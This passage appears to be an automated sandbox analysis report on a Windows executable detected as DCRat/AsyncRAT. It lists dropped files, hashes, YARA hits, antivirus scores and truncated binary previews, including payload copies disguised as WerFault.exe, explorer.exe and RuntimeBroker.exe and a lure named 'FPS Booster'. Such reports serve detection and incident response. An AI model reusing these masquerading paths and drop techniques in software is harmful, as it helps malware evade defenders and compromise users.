Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Pictures\RuntimeBroker.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe.log

Download File

Process:	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1510
Entropy (8bit):	5.380493107040482
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclSKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/l
MD5:	EC75759911B88E93A2B5947380336033
SHA1:	4D1472BBA520DBF76449567159CD927E94454210
SHA-256:	5BFBF7B8E9F9E89881AD3B4E1214A3F0E9F9E36F72A41143226F4DB9E4642E5D
SHA-512:	EF017C70BFB6464CA040FA12C04CE42F9E611D1F79F123F0A7AF7E6CD80002678E1BB97EB835EAF42F7E37B940833CE8422566340A5398115FBB10FC6CCB76C5
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WerFault.exe.log

Download File

Process:	C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1510
Entropy (8bit):	5.380493107040482
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclSKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/l
MD5:	EC75759911B88E93A2B5947380336033
SHA1:	4D1472BBA520DBF76449567159CD927E94454210
SHA-256:	5BFBF7B8E9F9E89881AD3B4E1214A3F0E9F9E36F72A41143226F4DB9E4642E5D
SHA-512:	EF017C70BFB6464CA040FA12C04CE42F9E611D1F79F123F0A7AF7E6CD80002678E1BB97EB835EAF42F7E37B940833CE8422566340A5398115FBB10FC6CCB76C5
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log

Download File

Process:	C:\Windows\regedit\explorer.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1510
Entropy (8bit):	5.380493107040482
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclSKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/l
MD5:	EC75759911B88E93A2B5947380336033
SHA1:	4D1472BBA520DBF76449567159CD927E94454210
SHA-256:	5BFBF7B8E9F9E89881AD3B4E1214A3F0E9F9E36F72A41143226F4DB9E4642E5D
SHA-512:	EF017C70BFB6464CA040FA12C04CE42F9E611D1F79F123F0A7AF7E6CD80002678E1BB97EB835EAF42F7E37B940833CE8422566340A5398115FBB10FC6CCB76C5
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\savesbrokerDriverSavesbroker.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	5.37489905566343
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/elStHTHhAHKKkhHNpaHKlT4x:iq+wmj0qCYqGSI6o9Zp/elStzHeqKkh2
MD5:	40B0737D9E519BE2FAE92D41EE16B42F
SHA1:	57A1EE0799583C2FDFE12AB3721B872A7B669D97
SHA-256:	3F0A9499BDFBC87F5AE57306FFEEEA7388214D9AD47CB12050A54F7DC64E7625
SHA-512:	EF059C601229B4A945A5A29A69802D733A525761B3FDA029D2E9B486F400DA2105A0EA88D0F02A90AED1BA1A2335CB5A122B28A93BF54B6C3D8C6FFE4066B28B
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe

Download File

Process:	C:\Users\user\Desktop\UNFOT5F1qt.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440224
Entropy (8bit):	7.575534082136887
Encrypted:	false
SSDEEP:	6144:K50gUCEhptn640MJU1UUDkGdOcVb5HLw2+bNracddmVfdEDtO6zaZM+wo0fsLsNB:c0g8PQHE1HmVfdMFCjwo00+51f
MD5:	74BE806E27A351565F2EC136DCB5232C
SHA1:	0EC9FC48C5C290014958C05940BC340EED942E15
SHA-256:	33B5E6FF81C482B3B62F8ED847FD25E39724DC6EB6C2A3881B1004DC75C170B6
SHA-512:	0ECE93924E569718EB7DCA19474F2CDE1199BAC8EAD206A01A65DCF33E7718FCC7C668D6D891DD164F011AE9FB53272003BBC5DB54EBE6DE62C3B01D4986DD4D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...z...B...8............@.................................^1....@.................................@........@...W............... ...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...P...............................rsrc....W...@...X..................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss20C1.tmp\System.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.729426875863261
Encrypted:	false
SSDEEP:	192:0N2gQuUwXzioj4KALV2upWzVd7q1QDXEbBZ8KxHdGzyS/Kx:rJoiO8V2upW7vQjS/
MD5:	BF712F32249029466FA86756F5546950
SHA1:	75AC4DC4808AC148DDD78F6B89A51AFBD4091C2E
SHA-256:	7851CB12FA4131F1FEE5DE390D650EF65CAC561279F1CFE70AD16CC9780210AF
SHA-512:	13F69959B28416E0B8811C962A49309DCA3F048A165457051A28A3EB51377DCAF99A15E86D7EEE8F867A9E25ECF8C44DA370AC8F530EEAE7B5252EABA64B96F4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..............]..............XP......Xd......XU......XS.....Rich............PE..L.....GO...........!................('.......0...............................`............@..........................3.......1..P............................P.......................................................0..\............................text...1........................... ..`.rdata.......0......."..............@..@.data...@....@.......&..............@....reloc..L....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss20C1.tmp\modern-wizard.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 314 x 4, image size 26376, resolution 2834 x 2834 px/m, cbSize 26494, bits offset 118
Category:	dropped
Size (bytes):	26494
Entropy (8bit):	1.9568109962493656
Encrypted:	false
SSDEEP:	24:Qwika6aSaaDaVYoG6abuJsnZs5GhI11BayNXPcDrSsUWcSphsWwlEWqCl6aHAX2x:Qoi47a5G8SddzKFIcsOz3Xz
MD5:	CBE40FD2B1EC96DAEDC65DA172D90022
SHA1:	366C216220AA4329DFF6C485FD0E9B0F4F0A7944
SHA-256:	3AD2DC318056D0A2024AF1804EA741146CFC18CC404649A44610CBF8B2056CF2
SHA-512:	62990CB16E37B6B4EFF6AB03571C3A82DCAA21A1D393C3CB01D81F62287777FB0B4B27F8852B5FA71BC975FEAB5BAA486D33F2C58660210E115DE7E2BD34EA63
Malicious:	false
Preview:	BM~g......v...(.......:............g..................................................................................DDD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@..DDD....DDDDDD........................................DDDDDDDDDD....DDDDDDDDD........DD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@DDDDDDDDDD@@@@@@D..DD....DDDDDDD......................................DDDDDDDDDD....DDDDDDDDDD......D..D@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@DDD..D.....DDDDDD......................................DDDDDDDDD.....DDDDDDDDD......DDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@@DDDD.......DDDDDD.....................................DDDDDDDDDD....DDDDDDDDDD.....DDDDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@DDDDDD.......DDDDDD....................................DDDDDDDDD....DDDDDDDDDD......DDDDDD..@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.115973604853638
Encrypted:	false
SSDEEP:	192:SbEunjqjIcESwFlioU3M0LLF/t8t9pKSfOi:SbESjFCw6oWPFl8jfOi
MD5:	4CCC4A742D4423F2F0ED744FD9C81F63
SHA1:	704F00A1ACC327FD879CF75FC90D0B8F927C36BC
SHA-256:	416133DD86C0DFF6B0FCAF1F46DFE97FDC85B37F90EFFB2D369164A8F7E13AE6
SHA-512:	790C5EB1F8B297E45054C855B66DFC18E9F3F1B1870559014DBEFA3B9D5B6D33A993A9E089202E70F51A55D859B74E8605C6F633386FD9189B6F78941BF1BFDB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q+.v.J.%.J.%.J.%.2.%.J.%.J.%"J.%..5%.J.%...%.J.%...%.J.%...%.J.%Rich.J.%........PE..L.....GO...........!.........................0...............................p............@......................... 7..k....2.......P.......................`.......................................................0...............................text............................... ..`.rdata.......0......................@..@.data...0....@......................@....rsrc........P....... ..............@..@.reloc..N....`......."..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

Download File

Process:	C:\Users\user\Desktop\UNFOT5F1qt.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Windows\SysWOW64\MsRdpWebAccess\ee201eac4591f0b16735de891f3d31be299085b8

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	5.110577243331644
Encrypted:	false
SSDEEP:	3:bMj9dOtddcwKHgLnT1:2mjK+n5
MD5:	929FE3664F372034A4B03360129BEC57
SHA1:	CDF68EF39D5BDB7F85C82A9E12122C806291A0EB
SHA-256:	0FBBFBE1931094F2EB8CBDA041F8FD69AC33B07728D44CD8BEEC8DED8A492BEF
SHA-512:	558405B57190094C9987A6323DB4CC22E355CADBB4780C25FF6A632F49A7BA227299E6B20AC126B6412E6C25E6C32E337D84C7F03C4D3C14E431CC2EF47ABABC
Malicious:	false
Preview:	lJoOilyxhqi7rMeJ0EP7FWx8HQuVbaJgVsE98FCw5SUamME1X9kgBi7P

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.394317244435007
Encrypted:	false
SSDEEP:	6144:fl4fiJoH0ncNXiUjt10q0G/gaocYGBoaUMMhA2NX4WABlBuNA9OBSqa:d4vF0MYQUMM6VFYS9U
MD5:	16A7B6CB8F23A4CF2037F1EF97AF47DB
SHA1:	C457EA2B19750CA7A85F1259345CC2ECE6CAE588
SHA-256:	469B519CC56D048E8D784A06706653F9786C924E9DC7B48463439A9937C30239
SHA-512:	62A251A6D74431B0DE2F40228CB0D908EBBBA92085B90292A3C26DA4D24DAB94CF38FC1B88B47AD241D5AE0A465B108A21992F79F0018E3C70DEBEE4C2832ECF
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmB.z.x@................................................................................................................................................................................................................................................................................................................................................m.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\regedit\7a0fd90576e08807bde2cc57bcf9854bbce05fe3

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.555792510520905
Encrypted:	false
SSDEEP:	3:SUU6s1g3jjl9BHg1jrWAIYxwsDG1C0XddWd8hghd7c7YiuGCNqJ0R:SUi1y/m1jr7IYpGTXdY82s7YHL8J0R
MD5:	904A977536AC285CF9DA8B24858365FF
SHA1:	59F5E309C1D2A3E40EBB92DF3D537A9CDA0E2FFF
SHA-256:	DA61F7E1AA992F473F6A1F57B4E906613B0620910AA73DBFE3C02F9DE4CC909D
SHA-512:	2439B4183A1E3227B828EB5032AD69D04BF742E17AA1B0B9CEE724406DF742D3ADB5F9D316A69F789710A999BBF0052D2D2261ED220EF987802164915EAC4A13
Malicious:	false
Preview:	xXzgWbqX8MMO2SkgPERxDlMYrZaNEdXzdkl7xfYPFKvn0qBP9AulgvFMKay7BcSezXvSrmtupCr3zjhBYKODtwSreZxWqbOn1Qxd4tiWR95eEMWk3wi0OPvDEDxRzXDNyDCiwDHpm1wt0ynSDMc43XZlfuZ15Qh4

C:\Windows\regedit\explorer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	586240
Entropy (8bit):	5.885921147077287
Encrypted:	false
SSDEEP:	12288:IqnOvrM40FWBGCnO9Ke6/jGEn1E7idK9IbrDDiokL05t4:I+OvrM40FgDRlrGwSO4S7DP
MD5:	222EDC84E2D32948F2639554B23E7B04
SHA1:	22CEDF83A69B08259DB3C2F3618DF067DD7C7522
SHA-256:	55AB1B21734F31815058FA1E2841E8B62E6E4F04E635A4B51EBEA3FDE646E920
SHA-512:	95DD51CF8BE6461955B867B853D58EAB7BF6AC363E9F99F5C8C8F13046DAA373ED845DB3531E9F765515E43F8955955EC4EA83F19807A2B3C04F2C1F6A0C6855
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Windows\regedit\explorer.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\regedit\explorer.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L9a..........".................~.... ... ....@.. .......................`............@.................................(...S.... ..H....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H.... ......................@..@.reloc.......@......................@..B................`.......H.......P.......................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.801535722709987
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UNFOT5F1qt.exe
File size:	1'131'531 bytes
MD5:	1c40d9e61fbbd5d9054638b98b10e1cf
SHA1:	145119e649cabc6c60200643b3cc347fc4b164cc
SHA256:	854b586f8d0cad52a042ccee32691dc9c30e6a32bd3805024934f43e169325af
SHA512:	970eade0dce9dfaf5acdaf88721e55071fc48c4570c9a9b78c875d81fba54b047aed93412e331466a461662e065020f189b1dc1ec324b9394dd531ab2e3b3cf1
SSDEEP:	24576:TE9h8YY4mB7WnMSTdTvX+5pdKj30HZQHEGP:TeGYDmBcBpvEpdKj3W/i
TLSH:	553501499BAE8639CE7D1EB4F21114184AB2AE26E095E3C4DEDDB6ED4533784CC31237
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.gq..........a.... ........@.. ....................................`................................

File Icon


Icon Hash:	46c98dc446623245

Static PE Info

General

Entrypoint:	0x4e9161
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xE61CCFF4 [Sat May 3 10:12:04 2092 UTC]
TLS Callbacks:
CLR (.Net) Version:
